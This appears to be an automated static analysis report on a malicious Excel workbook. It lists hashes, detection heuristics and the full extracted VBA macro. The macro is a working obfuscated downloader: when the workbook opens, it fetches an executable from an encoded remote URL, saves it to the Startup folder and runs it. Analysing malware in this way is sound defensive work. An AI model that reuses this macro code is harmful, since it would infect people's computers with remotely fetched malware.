Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 257219aff0dc096c…

MALICIOUS

Office (OLE)

160.5 KB Created: 2006-09-16 00:00:00 Authoring application: Microsoft Excel First seen: 2021-02-23
MD5: 01acef7885819f372377801f7095ec66 SHA-1: e4ce78b3894c2563c8fa74b4a576723e4f9c4c7b SHA-256: 257219aff0dc096c6ed2f677f0d1a4903b7b46de843612062e3fc4e6b80d7f1c
350 Risk Score

Heuristics 10

  • ClamAV: Xls.Downloader.Generic-6839042-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Generic-6839042-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    UOHUGGTKTMOBOTQZYKUHDBHPWHCGRPEFVFIMHWBCBDOSVLRRYBCXKSOHXYJXZGFVDPPDHNCLBNWJWCYIZLD = CreateObject("WScript.Shell").Specialfolders(7) + NEEXXLPVKTJVFKFDZJITLQTRXGGRRWIYNVLPYDXNLLKMFCFUIBIKMIUJXQOISNJQVMMGYMXELCLEGSNLIRQCMYCZGHOZZFKH
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    KTJVFKFDZJITLQTRXGGRRWIYNVLPYDXNLLKMFCFUIBIKMIUJXQOISNJQVMMGYMXELCLEGSNLIRQCMYCZG = LCLEGSNLIRQCMYCZGHOZZFKHVENWHEYOSTSUNKNDJJQSTPCKGYPQBPRXDOUOHUGGTKTMOBOTQZYKUHDBHPWHCGRPEFVFIMHWBCB.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set VMMGYMXELCLEGSNLIRQCMYCZGHOZZFKHVENWHEYOSTSUNKNDJJQSTPCKGYPQBPRXDOUOHUGGTKTMOBOTQZYKUHDBHPWHCG = CreateObject("Shell.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_open()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://ns.adobe.com/tiff/1.0/Referenced by macro
    • http://ns.adobe.com/exif/1.0/Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5019 bytes
SHA-256: fac234771e529680ef9781ff2bc79789054f08eb376c86d1a435e2b2b27a2aab
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub dididdng()

End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_open()
Set VMMGYMXELCLEGSNLIRQCMYCZGHOZZFKHVENWHEYOSTSUNKNDJJQSTPCKGYPQBPRXDOUOHUGGTKTMOBOTQZYKUHDBHPWHCG = CreateObject("Shell.Application")
Set LCLEGSNLIRQCMYCZGHOZZFKHVENWHEYOSTSUNKNDJJQSTPCKGYPQBPRXDOUOHUGGTKTMOBOTQZYKUHDBHPWHCGRPEFVFIMHWBCB = CreateObject("microsoft.xmlhttp")
Set CBDOSVLRRYBCXKSOHXYJXZGFVDPPDHNCLBNWJWCYIZLDILJPXFJJOZXMNEHQUPFDDCEWBEMZYHCEZMBPOGZKFBI = CreateObject("adodb.stream")
NEEXXLPVKTJVFKFDZJITLQTRXGGRRWIYNVLPYDXNLLKMFCFUIBIKMIUJXQOISNJQVMMGYMXELCLEGSNLIRQCMYCZGHOZZFKH = EMZYHCEZMBPOGZKFBINEEXXLPVKTJVFKFDZJITLQTRXGGRRWIYNVLPYDXNLLKMFCFUIBIKMIUJXQOISNJQVMMGYM("]VPJTOKR/fyf")
HOZZFKHVENWHEYOSTSUNKNDJJQSTPCKGYPQBPRXDOUOHUGGTKTMOBOTQZYKUHDBHPWHCGRPEFVFIMHWB = EMZYHCEZMBPOGZKFBINEEXXLPVKTJVFKFDZJITLQTRXGGRRWIYNVLPYDXNLLKMFCFUIBIKMIUJXQOISNJQVMMGYM("iuuq;00pofesjwfofu/yz{0`pvuqvuDBF6D9G/fyf!")

UOHUGGTKTMOBOTQZYKUHDBHPWHCGRPEFVFIMHWBCBDOSVLRRYBCXKSOHXYJXZGFVDPPDHNCLBNWJWCYIZLD = CreateObject("WScript.Shell").Specialfolders(7) + NEEXXLPVKTJVFKFDZJITLQTRXGGRRWIYNVLPYDXNLLKMFCFUIBIKMIUJXQOISNJQVMMGYMXELCLEGSNLIRQCMYCZGHOZZFKH
LCLEGSNLIRQCMYCZGHOZZFKHVENWHEYOSTSUNKNDJJQSTPCKGYPQBPRXDOUOHUGGTKTMOBOTQZYKUHDBHPWHCGRPEFVFIMHWBCB.Open "GET", HOZZFKHVENWHEYOSTSUNKNDJJQSTPCKGYPQBPRXDOUOHUGGTKTMOBOTQZYKUHDBHPWHCGRPEFVFIMHWB, False
LCLEGSNLIRQCMYCZGHOZZFKHVENWHEYOSTSUNKNDJJQSTPCKGYPQBPRXDOUOHUGGTKTMOBOTQZYKUHDBHPWHCGRPEFVFIMHWBCB.send
KTJVFKFDZJITLQTRXGGRRWIYNVLPYDXNLLKMFCFUIBIKMIUJXQOISNJQVMMGYMXELCLEGSNLIRQCMYCZG = LCLEGSNLIRQCMYCZGHOZZFKHVENWHEYOSTSUNKNDJJQSTPCKGYPQBPRXDOUOHUGGTKTMOBOTQZYKUHDBHPWHCGRPEFVFIMHWBCB.responseBody
If LCLEGSNLIRQCMYCZGHOZZFKHVENWHEYOSTSUNKNDJJQSTPCKGYPQBPRXDOUOHUGGTKTMOBOTQZYKUHDBHPWHCGRPEFVFIMHWBCB.Status = 200 Then
CBDOSVLRRYBCXKSOHXYJXZGFVDPPDHNCLBNWJWCYIZLDILJPXFJJOZXMNEHQUPFDDCEWBEMZYHCEZMBPOGZKFBI.Open
CBDOSVLRRYBCXKSOHXYJXZGFVDPPDHNCLBNWJWCYIZLDILJPXFJJOZXMNEHQUPFDDCEWBEMZYHCEZMBPOGZKFBI.Type = 1
CBDOSVLRRYBCXKSOHXYJXZGFVDPPDHNCLBNWJWCYIZLDILJPXFJJOZXMNEHQUPFDDCEWBEMZYHCEZMBPOGZKFBI.Write KTJVFKFDZJITLQTRXGGRRWIYNVLPYDXNLLKMFCFUIBIKMIUJXQOISNJQVMMGYMXELCLEGSNLIRQCMYCZG
CBDOSVLRRYBCXKSOHXYJXZGFVDPPDHNCLBNWJWCYIZLDILJPXFJJOZXMNEHQUPFDDCEWBEMZYHCEZMBPOGZKFBI.SaveToFile UOHUGGTKTMOBOTQZYKUHDBHPWHCGRPEFVFIMHWBCBDOSVLRRYBCXKSOHXYJXZGFVDPPDHNCLBNWJWCYIZLD, 2
CBDOSVLRRYBCXKSOHXYJXZGFVDPPDHNCLBNWJWCYIZLDILJPXFJJOZXMNEHQUPFDDCEWBEMZYHCEZMBPOGZKFBI.Close
End If
VMMGYMXELCLEGSNLIRQCMYCZGHOZZFKHVENWHEYOSTSUNKNDJJQSTPCKGYPQBPRXDOUOHUGGTKTMOBOTQZYKUHDBHPWHCG.Open (UOHUGGTKTMOBOTQZYKUHDBHPWHCGRPEFVFIMHWBCBDOSVLRRYBCXKSOHXYJXZGFVDPPDHNCLBNWJWCYIZLD)


End Sub

Function EMZYHCEZMBPOGZKFBINEEXXLPVKTJVFKFDZJITLQTRXGGRRWIYNVLPYDXNLLKMFCFUIBIKMIUJXQOISNJQVMMGYM(XELCLEGSNLIRQCMYCZGHOZZFKHVENWHEYOSTSUNKNDJJQSTPCKGYPQBPRXDOUOHUGGTKTMOBOTQZYKUHDB)
JXQOISNJQVMMGYMXELCLEGSNLIRQCMYCZGHOZZFKHVENWHEYOSTSUNKNDJJQSTPCKGYPQBPRXDOUOHUG = 10 - 9
        ILJPXFJJOZXMNEHQUPFDDCEWBEMZYHCEZMBPOGZKFBINEEXXLPVKTJVFKFDZJITLQTRXGGRRWIYNVLPYD = ""
    For XNLLKMFCFUIBIKMIUJXQOISNJQVMMGYMXELCLEGSNLIRQCMYCZGHOZZFKHVENWHEYOSTSUNKNDJJQSTPCKGYPQBPRXDOUO = JXQOISNJQVMMGYMXELCLEGSNLIRQCMYCZGHOZZFKHVENWHEYOSTSUNKNDJJQSTPCKGYPQBPRXDOUOHUG To Len(XELCLEGSNLIRQCMYCZGHOZZFKHVENWHEYOSTSUNKNDJJQSTPCKGYPQBPRXDOUOHUGGTKTMOBOTQZYKUHDB)
        HQUPFDDCEWBEMZYHCEZMBPOGZKFBINEEXXLPVKTJVFKFDZJITLQTRXGGRRWIYNVLPYDXNLLKMFCFUIBIKMIU = Asc(Mid(XELCLEGSNLIRQCMYCZGHOZZFKHVENWHEYOSTSUNKNDJJQSTPCKGYPQBPRXDOUOHUGGTKTMOBOTQZYKUHDB, XNLLKMFCFUIBIKMIUJXQOISNJQVMMGYMXELCLEGSNLIRQCMYCZGHOZZFKHVENWHEYOSTSUNKNDJJQSTPCKGYPQBPRXDOUO, JXQOISNJQVMMGYMXELCLEGSNLIRQCMYCZGHOZZFKHVENWHEYOSTSUNKNDJJQSTPCKGYPQBPRXDOUOHUG))

            HUGGTKTMOBOTQZYKUHDBHPWHCGRPEFVFIMHWBCBDOSVLRRYBCXKSOHXYJXZGFVDPPDHNCLBNWJWCYIZLDILJPXFJJOZXMNE = HQUPFDDCEWBEMZYHCEZMBPOGZKFBINEEXXLPVKTJVFKFDZJITLQTRXGGRRWIYNVLPYDXNLLKMFCFUIBIKMIU - JXQOISNJQVMMGYMXELCLEGSNLIRQCMYCZGHOZZFKHVENWHEYOSTSUNKNDJJQSTPCKGYPQBPRXDOUOHUG
        ILJPXFJJOZXMNEHQUPFDDCEWBEMZYHCEZMBPOGZKFBINEEXXLPVKTJVFKFDZJITLQTRXGGRRWIYNVLPYD = ILJPXFJJOZXMNEHQUPFDDCEWBEMZYHCEZMBPOGZKFBINEEXXLPVKTJVFKFDZJITLQTRXGGRRWIYNVLPYD & Chr(HUGGTKTMOBOTQZYKUHDBHPWHCGRPEFVFIMHWBCBDOSVLRRYBCXKSOHXYJXZGFVDPPDHNCLBNWJWCYIZLDILJPXFJJOZXMNE)
    Next
    EMZYHCEZMBPOGZKFBINEEXXLPVKTJVFKFDZJITLQTRXGGRRWIYNVLPYDXNLLKMFCFUIBIKMIUJXQOISNJQVMMGYM = ILJPXFJJOZXMNEHQUPFDDCEWBEMZYHCEZMBPOGZKFBINEEXXLPVKTJVFKFDZJITLQTRXGGRRWIYNVLPYD
End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.